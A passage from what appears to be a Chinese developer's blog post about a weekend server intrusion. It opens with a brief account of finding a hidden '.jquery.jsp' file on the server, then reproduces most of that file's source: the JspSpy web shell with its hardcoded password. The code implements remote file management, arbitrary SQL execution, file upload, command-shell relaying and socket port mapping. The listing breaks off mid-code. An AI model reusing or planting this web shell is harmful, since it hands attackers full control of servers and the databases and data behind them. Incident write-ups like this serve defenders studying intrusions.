入侵（暴风雨前的宁静）

　　下午阳光甚好，想趁着安静的周末静下心来写写代码。刚过一个小时，3点左右，客服MM找我，告知客户都在说平台登录不了（我们有专门的客户qq群）。看了下数据库连接数，正常。登录阿里云发现cpu 居高不下。客户还在等着，只好先重启tomcat。重启后平台登陆正常。本以为是用户导数据或者连接池被占用光了（这个以前出现过，也比较坑），重启下就会没事。

　　15分钟左右，客服MM又找我，说平台打开很慢。

　　我打开登录页面加载都很慢，这时候还是不知道什么问题，上阿里云看看，一看发现有攻击。

　　看了下攻击的访问url，是访问一个.jquery.jsp的文件。通过ftp查看到此文件有个密码，直接通过地址访问登录，这一登录不得了，网站目录全部显示在页面上，还可以进行操作，赶紧把文件当下来一份，删除掉。

  1. <%@page pageEncoding="utf-8"%>
  2. <%@page import="java.io.*"%>
  3. <%@page import="java.util.*"%>
  4. <%@page import="java.util.regex.*"%>
  5. <%@page import="java.sql.*"%>
  6. <%@page import="java.lang.reflect.*"%>
  7. <%@page import="java.nio.charset.*"%>
  8. <%@page import="javax.servlet.http.HttpServletRequestWrapper"%>
  9. <%@page import="java.text.*"%>
  10. <%@page import="java.net.*"%>
  11. <%@page import="java.util.zip.*"%>
  12. <%@page import="java.util.jar.*"%>
  13. <%@page import="java.awt.*"%>
  14. <%@page import="java.awt.image.*"%>
  15. <%@page import="javax.imageio.*"%>
  16. <%@page import="java.awt.datatransfer.DataFlavor"%>
  17. <%@page import="java.util.prefs.Preferences"%>
  18. <%!private static final String PW = "good";//password
  19.     private static final String PW_SESSION_ATTRIBUTE = "JspSpyPwd";
  20.     private static final String REQUEST_CHARSET = "ISO-8859-1";
  21.     private static final String PAGE_CHARSET = "UTF-8";
  22.     private static final String CURRENT_DIR = "currentdir";
  23.     private static final String MSG = "SHOWMSG";
  24.     private static final String PORT_MAP = "PMSA";
  25.     private static final String DBO = "DBO";
  26.     private static final String SHELL_ONLINE = "SHELL_ONLINE";
  27.     private static final String ENTER = "ENTER_FILE";
  28.     private static final String ENTER_MSG = "ENTER_FILE_MSG";
  29.     private static final String ENTER_CURRENT_DIR = "ENTER_CURRENT_DIR";
  30.     private static final String SESSION_O = "SESSION_O";
  31.     private static String SHELL_NAME = "";
  32.     private static String WEB_ROOT = null;
  33.     private static String SHELL_DIR = null;
  34.     public static Map ins = new HashMap();
  35.     private static boolean ISLINUX = false;
  36.  
  37.     private static final String MODIFIED_ERROR = "JspSpy Was Modified By Some Other Applications. Please Logout.";
  38.     private static final String BACK_HREF = " <a href='javascript:history.back()'>Back</a>";
  39.  
  40.     private static class MyRequest extends HttpServletRequestWrapper {
  41.         public MyRequest(HttpServletRequest req) {
  42.             super(req);
  43.         }
  44.  
  45.         public String getParameter(String name) {
  46.             try {
  47.                 String value = super.getParameter(name);
  48.                 if (name == null)
  49.                     return null;
  50.                 return new String(value.getBytes(REQUEST_CHARSET), PAGE_CHARSET);
  51.             } catch (Exception e) {
  52.                 return null;
  53.             }
  54.         }
  55.     }
  56.  
  57.     private static class SpyClassLoader extends ClassLoader {
  58.         public SpyClassLoader() {
  59.         }
  60.  
  61.         public Class defineClass(String name, byte[] b) {
  62.             return super.defineClass(name, b, 0, b.length - 2);
  63.         }
  64.     }
  65.  
  66.     private static class DBOperator {
  67.         private Connection conn = null;
  68.         private Statement stmt = null;
  69.         private String driver;
  70.         private String url;
  71.         private String uid;
  72.         private String pwd;
  73.  
  74.         public DBOperator(String driver, String url, String uid, String pwd)
  75.                 throws Exception {
  76.             this(driver, url, uid, pwd, false);
  77.         }
  78.  
  79.         public DBOperator(String driver, String url, String uid, String pwd,
  80.                 boolean connect) throws Exception {
  81.             Class.forName(driver);
  82.             if (connect)
  83.                 this.conn = DriverManager.getConnection(url, uid, pwd);
  84.             this.url = url;
  85.             this.driver = driver;
  86.             this.uid = uid;
  87.             this.pwd = pwd;
  88.         }
  89.  
  90.         public void connect() throws Exception {
  91.             this.conn = DriverManager.getConnection(url, uid, pwd);
  92.         }
  93.  
  94.         public Object execute(String sql) throws Exception {
  95.             if (isValid()) {
  96.                 stmt = conn.createStatement();
  97.                 if (stmt.execute(sql)) {
  98.                     return stmt.getResultSet();
  99.                 } else {
  100.                     return "" + stmt.getUpdateCount();
  101.                 }
  102.             }
  103.             throw new Exception("Connection is inValid.");
  104.         }
  105.  
  106.         public void closeStmt() throws Exception {
  107.             if (this.stmt != null)
  108.                 stmt.close();
  109.         }
  110.  
  111.         public boolean isValid() throws Exception {
  112.             return conn != null && !conn.isClosed();
  113.         }
  114.  
  115.         public void close() throws Exception {
  116.             if (isValid()) {
  117.                 closeStmt();
  118.                 conn.close();
  119.             }
  120.         }
  121.  
  122.         public boolean equals(Object o) {
  123.             if (o instanceof DBOperator) {
  124.                 DBOperator dbo = (DBOperator) o;
  125.                 return this.driver.equals(dbo.driver)
  126.                         && this.url.equals(dbo.url) && this.uid.equals(dbo.uid)
  127.                         && this.pwd.equals(dbo.pwd);
  128.             }
  129.             return false;
  130.         }
  131.  
  132.         public Connection getConn() {
  133.             return this.conn;
  134.         }
  135.     }
  136.  
  137.     private static class StreamConnector extends Thread {
  138.         private InputStream is;
  139.         private OutputStream os;
  140.  
  141.         public StreamConnector(InputStream is, OutputStream os) {
  142.             this.is = is;
  143.             this.os = os;
  144.         }
  145.  
  146.         public void run() {
  147.             BufferedReader in = null;
  148.             BufferedWriter out = null;
  149.             try {
  150.                 in = new BufferedReader(new InputStreamReader(this.is));
  151.                 out = new BufferedWriter(new OutputStreamWriter(this.os));
  152.                 char buffer[] = new char[8192];
  153.                 int length;
  154.                 while ((length = in.read(buffer, 0, buffer.length)) > 0) {
  155.                     out.write(buffer, 0, length);
  156.                     out.flush();
  157.                 }
  158.             } catch (Exception e) {
  159.             }
  160.             try {
  161.                 if (in != null)
  162.                     in.close();
  163.                 if (out != null)
  164.                     out.close();
  165.             } catch (Exception e) {
  166.             }
  167.         }
  168.  
  169.         public static void readFromLocal(final DataInputStream localIn,
  170.                 final DataOutputStream remoteOut) {
  171.             new Thread(new Runnable() {
  172.                 public void run() {
  173.                     while (true) {
  174.                         try {
  175.                             byte[] data = new byte[100];
  176.                             int len = localIn.read(data);
  177.                             while (len != -1) {
  178.                                 remoteOut.write(data, 0, len);
  179.                                 len = localIn.read(data);
  180.                             }
  181.                         } catch (Exception e) {
  182.                             break;
  183.                         }
  184.                     }
  185.                 }
  186.             }).start();
  187.         }
  188.  
  189.         public static void readFromRemote(final Socket soc,
  190.                 final Socket remoteSoc, final DataInputStream remoteIn,
  191.                 final DataOutputStream localOut) {
  192.             new Thread(new Runnable() {
  193.                 public void run() {
  194.                     while (true) {
  195.                         try {
  196.                             byte[] data = new byte[100];
  197.                             int len = remoteIn.read(data);
  198.                             while (len != -1) {
  199.                                 localOut.write(data, 0, len);
  200.                                 len = remoteIn.read(data);
  201.                             }
  202.                         } catch (Exception e) {
  203.                             try {
  204.                                 soc.close();
  205.                                 remoteSoc.close();
  206.                             } catch (Exception ex) {
  207.                             }
  208.                             break;
  209.                         }
  210.                     }
  211.                 }
  212.             }).start();
  213.         }
  214.     }
  215.  
  216.     private static class EnterFile extends File {
  217.         private ZipFile zf = null;
  218.         private ZipEntry entry = null;
  219.         private boolean isDirectory = false;
  220.         private String absolutePath = null;
  221.  
  222.         public void setEntry(ZipEntry e) {
  223.             this.entry = e;
  224.         }
  225.  
  226.         public void setAbsolutePath(String p) {
  227.             this.absolutePath = p;
  228.         }
  229.  
  230.         public void close() throws Exception {
  231.             this.zf.close();
  232.         }
  233.  
  234.         public void setZf(String p) throws Exception {
  235.             if (p.toLowerCase().endsWith(".jar"))
  236.                 this.zf = new JarFile(p);
  237.             else
  238.                 this.zf = new ZipFile(p);
  239.         }
  240.  
  241.         public EnterFile(File parent, String child) {
  242.             super(parent, child);
  243.         }
  244.  
  245.         public EnterFile(String pathname) {
  246.             super(pathname);
  247.         }
  248.  
  249.         public EnterFile(String pathname, boolean isDir) {
  250.             this(pathname);
  251.             this.isDirectory = isDir;
  252.         }
  253.  
  254.         public EnterFile(String parent, String child) {
  255.             super(parent, child);
  256.         }
  257.  
  258.         public EnterFile(URI uri) {
  259.             super(uri);
  260.         }
  261.  
  262.         public boolean exists() {
  263.             return new File(this.zf.getName()).exists();
  264.         }
  265.  
  266.         public File[] listFiles() {
  267.             java.util.List list = new ArrayList();
  268.             java.util.List handled = new ArrayList();
  269.             String currentDir = super.getPath();
  270.             currentDir = currentDir.replace('\\', '/');
  271.             if (currentDir.indexOf("/") == 0) {
  272.                 if (currentDir.length() > 1)
  273.                     currentDir = currentDir.substring(1);
  274.                 else
  275.                     currentDir = "";
  276.             }
  277.             Enumeration e = this.zf.entries();
  278.             while (e.hasMoreElements()) {
  279.                 ZipEntry entry = (ZipEntry) e.nextElement();
  280.                 String eName = entry.getName();
  281.                 if (this.zf instanceof JarFile) {
  282.                     if (!entry.isDirectory()) {
  283.                         EnterFile ef = new EnterFile(eName);
  284.                         ef.setEntry(entry);
  285.                         try {
  286.                             ef.setZf(this.zf.getName());
  287.                         } catch (Exception ex) {
  288.                         }
  289.                         list.add(ef);
  290.                     }
  291.                 } else {
  292.                     if (currentDir.equals("")) {
  293.                         //zip root directory
  294.                         if (eName.indexOf("/") == -1
  295.                                 || eName.matches("[^/]+/$")) {
  296.                             EnterFile ef = new EnterFile(eName.replaceAll("/",
  297.                                     ""));
  298.                             handled.add(eName.replaceAll("/", ""));
  299.                             ef.setEntry(entry);
  300.                             list.add(ef);
  301.                         } else {
  302.                             if (eName.indexOf("/") != -1) {
  303.                                 String tmp = eName.substring(0, eName
  304.                                         .indexOf("/"));
  305.                                 if (!handled.contains(tmp)
  306.                                         && !Util.isEmpty(tmp)) {
  307.                                     EnterFile ef = new EnterFile(tmp, true);
  308.                                     ef.setEntry(entry);
  309.                                     list.add(ef);
  310.                                     handled.add(tmp);
  311.                                 }
  312.                             }
  313.                         }
  314.                     } else {
  315.                         if (eName.startsWith(currentDir)) {
  316.                             if (eName.matches(currentDir + "/[^/]+/?$")) {
  317.                                 //file.
  318.                                 EnterFile ef = new EnterFile(eName);
  319.                                 ef.setEntry(entry);
  320.                                 list.add(ef);
  321.                                 if (eName.endsWith("/")) {
  322.                                     String tmp = eName.substring(eName
  323.                                             .lastIndexOf('/',
  324.                                                     eName.length() - 2));
  325.                                     tmp = tmp.substring(1, tmp.length() - 1);
  326.                                     handled.add(tmp);
  327.                                 }
  328.                             } else {
  329.                                 //dir
  330.                                 try {
  331.                                     String tmp = eName.substring(currentDir
  332.                                             .length() + 1);
  333.                                     tmp = tmp.substring(0, tmp.indexOf('/'));
  334.                                     if (!handled.contains(tmp)
  335.                                             && !Util.isEmpty(tmp)) {
  336.                                         EnterFile ef = new EnterFile(tmp, true);
  337.                                         ef.setAbsolutePath(currentDir + "/"
  338.                                                 + tmp);
  339.                                         ef.setEntry(entry);
  340.                                         list.add(ef);
  341.                                         handled.add(tmp);
  342.                                     }
  343.                                 } catch (Exception ex) {
  344.                                 }
  345.                             }
  346.                         }
  347.                     }
  348.                 }
  349.             }
  350.             return (File[]) list.toArray(new File[0]);
  351.         }
  352.  
  353.         public boolean isDirectory() {
  354.             return this.entry.isDirectory() || this.isDirectory;
  355.         }
  356.  
  357.         public String getParent() {
  358.             return "";
  359.         }
  360.  
  361.         public String getAbsolutePath() {
  362.             return absolutePath != null ? absolutePath : super.getPath();
  363.         }
  364.  
  365.         public String getName() {
  366.             if (this.zf instanceof JarFile) {
  367.                 return this.getAbsolutePath();
  368.             } else {
  369.                 return super.getName();
  370.             }
  371.         }
  372.  
  373.         public long lastModified() {
  374.             return entry.getTime();
  375.         }
  376.  
  377.         public boolean canRead() {
  378.             return false;
  379.         }
  380.  
  381.         public boolean canWrite() {
  382.             return false;
  383.         }
  384.  
  385.         public boolean canExecute() {
  386.             return false;
  387.         }
  388.  
  389.         public long length() {
  390.             return entry.getSize();
  391.         }
  392.     }
  393.  
  394.     private static class OnLineProcess {
  395.         private String cmd = "first";
  396.         private Process pro;
  397.  
  398.         public OnLineProcess(Process p) {
  399.             this.pro = p;
  400.         }
  401.  
  402.         public void setPro(Process p) {
  403.             this.pro = p;
  404.         }
  405.  
  406.         public void setCmd(String c) {
  407.             this.cmd = c;
  408.         }
  409.  
  410.         public String getCmd() {
  411.             return this.cmd;
  412.         }
  413.  
  414.         public Process getPro() {
  415.             return this.pro;
  416.         }
  417.  
  418.         public void stop() {
  419.             this.pro.destroy();
  420.         }
  421.     }
  422.  
  423.     private static class OnLineConnector extends Thread {
  424.         private OnLineProcess ol = null;
  425.         private InputStream is;
  426.         private OutputStream os;
  427.         private String name;
  428.  
  429.         public OnLineConnector(InputStream is, OutputStream os, String name,
  430.                 OnLineProcess ol) {
  431.             this.is = is;
  432.             this.os = os;
  433.             this.name = name;
  434.             this.ol = ol;
  435.         }
  436.  
  437.         public void run() {
  438.             BufferedReader in = null;
  439.             BufferedWriter out = null;
  440.             try {
  441.                 in = new BufferedReader(new InputStreamReader(this.is));
  442.                 out = new BufferedWriter(new OutputStreamWriter(this.os));
  443.                 char buffer[] = new char[128];
  444.                 if (this.name.equals("exeRclientO")) {
  445.                     //from exe to client
  446.                     int length = 0;
  447.                     while ((length = in.read(buffer, 0, buffer.length)) > 0) {
  448.                         String str = new String(buffer, 0, length);
  449.                         str = str.replaceAll("&", "&amp;").replaceAll("<",
  450.                                 "&lt;").replaceAll(">", "&gt;");
  451.                         str = str.replaceAll("" + (char) 13 + (char) 10,
  452.                                 "<br/>");
  453.                         str = str.replaceAll("\n", "<br/>");
  454.                         out.write(str.toCharArray(), 0, str.length());
  455.                         out.flush();
  456.                     }
  457.                 } else {
  458.                     //from client to exe
  459.                     while (true) {
  460.                         while (this.ol.getCmd() == null) {
  461.                             Thread.sleep(500);
  462.                         }
  463.                         if (this.ol.getCmd().equals("first")) {
  464.                             this.ol.setCmd(null);
  465.                             continue;
  466.                         }
  467.                         this.ol.setCmd(this.ol.getCmd() + (char) 10);
  468.                         char[] arr = this.ol.getCmd().toCharArray();
  469.                         out.write(arr, 0, arr.length);
  470.                         out.flush();
  471.                         this.ol.setCmd(null);
  472.                     }
  473.                 }
  474.             } catch (Exception e) {
  475.             }
  476.             try {
  477.                 if (in != null)
  478.                     in.close();
  479.                 if (out != null)
  480.                     out.close();
  481.             } catch (Exception e) {
  482.             }
  483.         }
  484.     }
  485.  
  486.     private static class Table {
  487.         private ArrayList rows = null;
  488.         private boolean echoTableTag = false;
  489.  
  490.         public void setEchoTableTag(boolean v) {
  491.             this.echoTableTag = v;
  492.         }
  493.  
  494.         public Table() {
  495.             this.rows = new ArrayList();
  496.         }
  497.  
  498.         public void addRow(Row r) {
  499.             this.rows.add(r);
  500.         }
  501.  
  502.         public String toString() {
  503.             StringBuffer html = new StringBuffer();
  504.             if (echoTableTag)
  505.                 html.append("<table>");
  506.             for (int i = 0; i < rows.size(); i++) {
  507.                 Row r = (Row) rows.get(i);
  508.                 html
  509.                         .append("<tr class=\"alt1\" onMouseOver=\"this.className='focus';\" onMouseOut=\"this.className='alt1';\">");
  510.                 ArrayList columns = r.getColumns();
  511.                 for (int a = 0; a < columns.size(); a++) {
  512.                     Column c = (Column) columns.get(a);
  513.                     html.append("<td nowrap>");
  514.                     String vv = Util.htmlEncode(Util.getStr(c.getValue()));
  515.                     if (vv.equals(""))
  516.                         vv = "&nbsp;";
  517.                     html.append(vv);
  518.                     html.append("</td>");
  519.                 }
  520.                 html.append("</tr>");
  521.             }
  522.             if (echoTableTag)
  523.                 html.append("</table>");
  524.             return html.toString();
  525.         }
  526.  
  527.         public static String rs2Table(ResultSet rs, String sep, boolean op)
  528.                 throws Exception {
  529.             StringBuffer table = new StringBuffer();
  530.             ResultSetMetaData meta = rs.getMetaData();
  531.             int count = meta.getColumnCount();
  532.             if (!op)
  533.                 table
  534.                         .append("<b style='color:red;margin-left:15px'><i> View Struct </i></b> - <a href=\"javascript:doPost({o:'executesql'})\">View All Tables</a><br/><br/>");
  535.             else
  536.                 table
  537.                         .append("<b style='color:red;margin-left:15px'><i> All Tables </i></b><br/><br/>");
  538.             table
  539.                     .append("<script>function view(t){document.getElementById('sql').value='select * from "
  540.                             + sep + "'+t+'" + sep + "';}</script>");
  541.             table
  542.                     .append("<table border=\"0\" cellpadding=\"3\" cellspacing=\"0\" style=\"margin-left:15px\"><tr class=\"head\">");
  543.             for (int i = 1; i <= count; i++) {
  544.                 table.append("<td nowrap>" + meta.getColumnName(i) + "</td>");
  545.             }
  546.             if (op)
  547.                 table.append("<td>&nbsp;</td>");
  548.             table.append("</tr>");
  549.             while (rs.next()) {
  550.                 String tbName = null;
  551.                 table
  552.                         .append("<tr class=\"alt1\" onMouseOver=\"this.className='focus';\" onMouseOut=\"this.className='alt1';\">");
  553.                 for (int i = 1; i <= count; i++) {
  554.                     String v = rs.getString(i);
  555.                     if (i == 3)
  556.                         tbName = v;
  557.                     table.append("<td nowrap>" + Util.null2Nbsp(v) + "</td>");
  558.                 }
  559.                 if (op)
  560.                     table
  561.                             .append("<td nowrap> <a href=\"#\" onclick=\"view('"
  562.                                     + tbName
  563.                                     + "')\">View</a> | <a href=\"javascript:doPost({o:'executesql',type:'struct',table:'"
  564.                                     + tbName
  565.                                     + "'})\">Struct</a> | <a href=\"javascript:doPost({o:'export',table:'"
  566.                                     + tbName
  567.                                     + "'})\">Export </a> | <a href=\"javascript:doPost({o:'vExport',table:'"
  568.                                     + tbName + "'})\">Save To File</a> </td>");
  569.                 table.append("</tr>");
  570.             }
  571.             table.append("</table><br/>");
  572.             return table.toString();
  573.         }
  574.     }
  575.  
  576.     private static class Row {
  577.         private ArrayList cols = null;
  578.  
  579.         public Row() {
  580.             this.cols = new ArrayList();
  581.         }
  582.  
  583.         public void addColumn(Column n) {
  584.             this.cols.add(n);
  585.         }
  586.  
  587.         public ArrayList getColumns() {
  588.             return this.cols;
  589.         }
  590.     }
  591.  
  592.     private static class Column {
  593.         private String value;
  594.  
  595.         public Column(String v) {
  596.             this.value = v;
  597.         }
  598.  
  599.         public String getValue() {
  600.             return this.value;
  601.         }
  602.     }
  603.  
  604.     private static class Util {
  605.         public static boolean isEmpty(String s) {
  606.             return s == null || s.trim().equals("");
  607.         }
  608.  
  609.         public static boolean isEmpty(Object o) {
  610.             return o == null || isEmpty(o.toString());
  611.         }
  612.  
  613.         public static String getSize(long size, char danwei) {
  614.             if (danwei == 'M') {
  615.                 double v = formatNumber(size / 1024.0 / 1024.0, 2);
  616.                 if (v > 1024) {
  617.                     return getSize(size, 'G');
  618.                 } else {
  619.                     return v + "M";
  620.                 }
  621.             } else if (danwei == 'G') {
  622.                 return formatNumber(size / 1024.0 / 1024.0 / 1024.0, 2) + "G";
  623.             } else if (danwei == 'K') {
  624.                 double v = formatNumber(size / 1024.0, 2);
  625.                 if (v > 1024) {
  626.                     return getSize(size, 'M');
  627.                 } else {
  628.                     return v + "K";
  629.                 }
  630.             } else if (danwei == 'B') {
  631.                 if (size > 1024) {
  632.                     return getSize(size, 'K');
  633.                 } else {
  634.                     return size + "B";
  635.                 }
  636.             }
  637.             return "" + 0 + danwei;
  638.         }
  639.  
  640.         public static boolean exists(String[] arr, String v) {
  641.             for (int i = 0; i < arr.length; i++) {
  642.                 if (v.equals(arr[i])) {
  643.                     return true;
  644.                 }
  645.             }
  646.             return false;
  647.         }
  648.  
  649.         public static double formatNumber(double value, int l) {
  650.             NumberFormat format = NumberFormat.getInstance();
  651.             format.setMaximumFractionDigits(l);
  652.             format.setGroupingUsed(false);
  653.             return new Double(format.format(value)).doubleValue();
  654.         }
  655.  
  656.         public static boolean isInteger(String v) {
  657.             if (isEmpty(v))
  658.                 return false;
  659.             return v.matches("^\\d+$");
  660.         }
  661.  
  662.         public static String formatDate(long time) {
  663.             SimpleDateFormat format = new SimpleDateFormat(
  664.                     "yyyy-MM-dd hh:mm:ss");
  665.             return format.format(new java.util.Date(time));
  666.         }
  667.  
  668.         public static String convertPath(String path) {
  669.             return path != null ? path.replace('\\', '/') : "";
  670.         }
  671.  
  672.         public static String htmlEncode(String v) {
  673.             if (isEmpty(v))
  674.                 return "";
  675.             return v.replaceAll("&", "&amp;").replaceAll("<", "&lt;")
  676.                     .replaceAll(">", "&gt;");
  677.         }
  678.  
  679.         public static String getStr(String s) {
  680.             return s == null ? "" : s;
  681.         }
  682.  
  683.         public static String null2Nbsp(String s) {
  684.             if (s == null)
  685.                 s = "&nbsp;";
  686.             return s;
  687.         }
  688.  
  689.         public static String getStr(Object s) {
  690.             return s == null ? "" : s.toString();
  691.         }
  692.  
  693.         public static String exec(String regex, String str, int group) {
  694.             Pattern pat = Pattern.compile(regex);
  695.             Matcher m = pat.matcher(str);
  696.             if (m.find())
  697.                 return m.group(group);
  698.             return null;
  699.         }
  700.  
  701.         public static void outMsg(Writer out, String msg) throws Exception {
  702.             outMsg(out, msg, "center");
  703.         }
  704.  
  705.         public static void outMsg(Writer out, String msg, String align)
  706.                 throws Exception {
  707.             out
  708.                     .write("<div style=\"background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:"
  709.                             + align
  710.                             + ";font-weight:bold;margin:10px\">"
  711.                             + msg
  712.                             + "</div>");
  713.         }
  714.  
  715.         public static String highLight(String str) {
  716.             str = str
  717.                     .replaceAll(
  718.                             "\\b(abstract|package|String|byte|static|synchronized|public|private|protected|void|int|long|double|boolean|float|char|final|extends|implements|throw|throws|native|class|interface|emum)\\b",
  719.                             "<span style='color:blue'>$1</span>");
  720.             str = str.replaceAll("\t(//.+)",
  721.                     "\t<span style='color:green'>$1</span>");
  722.             return str;
  723.         }
  724.     }
  725.  
  726.     private static class UploadBean {
  727.         private String fileName = null;
  728.         private String suffix = null;
  729.         private String savePath = "";
  730.         private ServletInputStream sis = null;
  731.         private OutputStream targetOutput = null;
  732.         private byte[] b = new byte[1024];
  733.  
  734.         public void setTargetOutput(OutputStream stream) {
  735.             this.targetOutput = stream;
  736.         }
  737.  
  738.         public UploadBean() {
  739.         }
  740.  
  741.         public void setSavePath(String path) {
  742.             this.savePath = path;
  743.         }
  744.  
  745.         public String getFileName() {
  746.             return this.fileName;
  747.         }
  748.  
  749.         public void parseRequest(HttpServletRequest request) throws IOException {
  750.             sis = request.getInputStream();
  751.             int a = 0;
  752.             int k = 0;
  753.             String s = "";
  754.             while ((a = sis.readLine(b, 0, b.length)) != -1) {
  755.                 s = new String(b, 0, a, PAGE_CHARSET);
  756.                 if ((k = s.indexOf("filename=\"")) != -1) {
  757.                     s = s.substring(k + 10);
  758.                     k = s.indexOf("\"");
  759.                     s = s.substring(0, k);
  760.                     File tF = new File(s);
  761.                     if (tF.isAbsolute()) {
  762.                         fileName = tF.getName();
  763.                     } else {
  764.                         fileName = s;
  765.                     }
  766.                     k = s.lastIndexOf(".");
  767.                     suffix = s.substring(k + 1);
  768.                     upload();
  769.                 }
  770.             }
  771.         }
  772.  
  773.         private void upload() throws IOException {
  774.             try {
  775.                 OutputStream out = null;
  776.                 if (this.targetOutput != null)
  777.                     out = this.targetOutput;
  778.                 else
  779.                     out = new FileOutputStream(new File(savePath, fileName));
  780.                 int a = 0;
  781.                 int k = 0;
  782.                 String s = "";
  783.                 while ((a = sis.readLine(b, 0, b.length)) != -1) {
  784.                     s = new String(b, 0, a);
  785.                     if ((k = s.indexOf("Content-Type:")) != -1) {
  786.                         break;
  787.                     }
  788.                 }
  789.                 sis.readLine(b, 0, b.length);
  790.                 while ((a = sis.readLine(b, 0, b.length)) != -1) {
  791.                     s = new String(b, 0, a);
  792.                     if ((b[0] == 45) && (b[1] == 45) && (b[2] == 45)
  793.                             && (b[3] == 45) && (b[4] == 45)) {
  794.                         break;
  795.                     }
  796.                     out.write(b, 0, a);
  797.                 }
  798.                 if (out instanceof FileOutputStream)
  799.                     out.close();
  800.             } catch (IOException ioe) {
  801.                 throw ioe;
  802.             }
  803.         }
  804.     }%>
  805. <%
  806.  
  807.     SHELL_NAME = request.getServletPath().substring(
  808.             request.getServletPath().lastIndexOf("/") + 1);
  809.     String myAbsolutePath = application.getRealPath(request
  810.             .getServletPath());
  811.     if (Util.isEmpty(myAbsolutePath)) {//for weblogic
  812.         SHELL_NAME = request.getServletPath();
  813.         myAbsolutePath = new File(application.getResource("/")
  814.                 .getPath()
  815.                 + SHELL_NAME).toString();
  816.         SHELL_NAME = request.getContextPath() + SHELL_NAME;
  817.         WEB_ROOT = new File(application.getResource("/").getPath())
  818.                 .toString();
  819.     } else {
  820.         WEB_ROOT = application.getRealPath("/");
  821.     }
  822.     SHELL_DIR = Util.convertPath(myAbsolutePath.substring(0,
  823.             myAbsolutePath.lastIndexOf(File.separator)));
  824.     if (SHELL_DIR.indexOf('/') == 0)
  825.         ISLINUX = true;
  826.     else
  827.         ISLINUX = false;
  828.     if (session.getAttribute(CURRENT_DIR) == null)
  829.         session.setAttribute(CURRENT_DIR, Util.convertPath(SHELL_DIR));
  830.     //request = new MyRequest(request);
  831.     if (session.getAttribute(PW_SESSION_ATTRIBUTE) == null
  832.             || !(session.getAttribute(PW_SESSION_ATTRIBUTE)).equals(PW)) {
  833.         String o = request.getParameter("o");
  834.         if(o != null)
  835.             o = new String(o.getBytes(REQUEST_CHARSET), PAGE_CHARSET);
  836.         if (o != null && o.equals("login")) {
  837.             ((Invoker) ins.get("login")).invoke(request, response,
  838.                     session);
  839.             return;
  840.         } else if (o != null && o.equals("vLogin")) {
  841.             ((Invoker) ins.get("vLogin")).invoke(request, response,
  842.                     session);
  843.             return;
  844.         } else {
  845.             ((Invoker) ins.get("vLogin")).invoke(request, response,
  846.                     session);
  847.             return;
  848.         }
  849.     }
  850. %>
  851. <%!private static interface Invoker {
  852.         public void invoke(HttpServletRequest request,
  853.                 HttpServletResponse response, HttpSession JSession)
  854.                 throws Exception;
  855.  
  856.         public boolean doBefore();
  857.  
  858.         public boolean doAfter();
  859.     }
  860.  
  861.     private static class DefaultInvoker implements Invoker {
  862.         public void invoke(HttpServletRequest request,
  863.                 HttpServletResponse response, HttpSession JSession)
  864.                 throws Exception {
  865.         }
  866.  
  867.         public boolean doBefore() {
  868.             return true;
  869.         }
  870.  
  871.         public boolean doAfter() {
  872.             return true;
  873.         }
  874.     }
  875.  
  876.     private static class ScriptInvoker extends DefaultInvoker {
  877.         public void invoke(HttpServletRequest request,
  878.                 HttpServletResponse response, HttpSession JSession)
  879.                 throws Exception {
  880.             try {
  881.                 PrintWriter out = response.getWriter();
  882.                 out
  883.                         .println("<script type=\"text/javascript\">"
  884.                                 + "    String.prototype.trim = function(){return this.replace(/^\\s+|\\s+$/,'');};"
  885.                                 + "    function fso(obj) {"
  886.                                 + "        this.currentDir = '"
  887.                                 + JSession.getAttribute(CURRENT_DIR)
  888.                                 + "';"
  889.                                 + "        this.filename = obj.filename;"
  890.                                 + "        this.path = obj.path;"
  891.                                 + "        this.filetype = obj.filetype;"
  892.                                 + "        this.charset = obj.charset;"
  893.                                 + "    };"
  894.                                 + "    fso.prototype = {"
  895.                                 + "        copy:function(){"
  896.                                 + "            var path = prompt('Copy To : ',this.path);"
  897.                                 + "            if (path == null || path.trim().length == 0 || path.trim() == this.path)return;"
  898.                                 + "            doPost({o:'copy',src:this.path,to:path});"
  899.                                 + "        },"
  900.                                 + "        move:function() {"
  901.                                 + "            var path =prompt('Move To : ',this.path);"
  902.                                 + "            if (path == null || path.trim().length == 0 || path.trim() == this.path)return;"
  903.                                 + "            doPost({o:'move',src:this.path,to:path})"
  904.                                 + "        },"
  905.                                 + "        vEdit:function() {"
  906.                                 + "            if (!this.charset)"
  907.                                 + "                doPost({o:'vEdit',filepath:this.path});"
  908.                                 + "            else"
  909.                                 + "                doPost({o:'vEdit',filepath:this.path,charset:this.charset});"
  910.                                 + "        },"
  911.                                 + "        down:function() {"
  912.                                 + "            doPost({o:'down',path:this.path})"
  913.                                 + "        },"
  914.                                 + "        removedir:function() {"
  915.                                 + "            if (!confirm('Dangerous ! Are You Sure To Delete '+this.filename+'?'))return;"
  916.                                 + "            doPost({o:'removedir',dir:this.path});"
  917.                                 + "        },"
  918.                                 + "        mkdir:function() {"
  919.                                 + "            var name = prompt('Input New Directory Name','');"
  920.                                 + "            if (name == null || name.trim().length == 0)return;"
  921.                                 + "            doPost({o:'mkdir',name:name});"
  922.                                 + "        },"
  923.                                 + "        subdir:function(out) {"
  924.                                 + "            doPost({o:'filelist',folder:this.path,outentry:(out || 'none')})"
  925.                                 + "        },"
  926.                                 + "        parent:function() {"
  927.                                 + "            var parent=(this.path.substr(0,this.path.lastIndexOf(\"/\")))+'/';"
  928.                                 + "            doPost({o:'filelist',folder:parent})"
  929.                                 + "        },"
  930.                                 + "        createFile:function() {"
  931.                                 + "            var path = prompt('Input New File Name','');"
  932.                                 + "            if (path == null || path.trim().length == 0) return;"
  933.                                 + "            doPost({o:'vCreateFile',filepath:path})"
  934.                                 + "        },"
  935.                                 + "        deleteBatch:function() {"
  936.                                 + "            if (!confirm('Are You Sure To Delete These Files?')) return;"
  937.                                 + "            var selected = new Array();"
  938.                                 + "            var inputs = document.getElementsByTagName('input');"
  939.                                 + "            for (var i = 0;i<inputs.length;i++){if(inputs[i].checked){selected.push(inputs[i].value)}}"
  940.                                 + "            if (selected.length == 0) {alert('No File Selected');return;}"
  941.                                 + "            doPost({o:'deleteBatch',files:selected.join(',')})"
  942.                                 + "        },"
  943.                                 + "        packBatch:function() {"
  944.                                 + "            var selected = new Array();"
  945.                                 + "            var inputs = document.getElementsByTagName('input');"
  946.                                 + "            for (var i = 0;i<inputs.length;i++){if(inputs[i].checked){selected.push(inputs[i].value)}}"
  947.                                 + "            if (selected.length == 0) {alert('No File Selected');return;}"
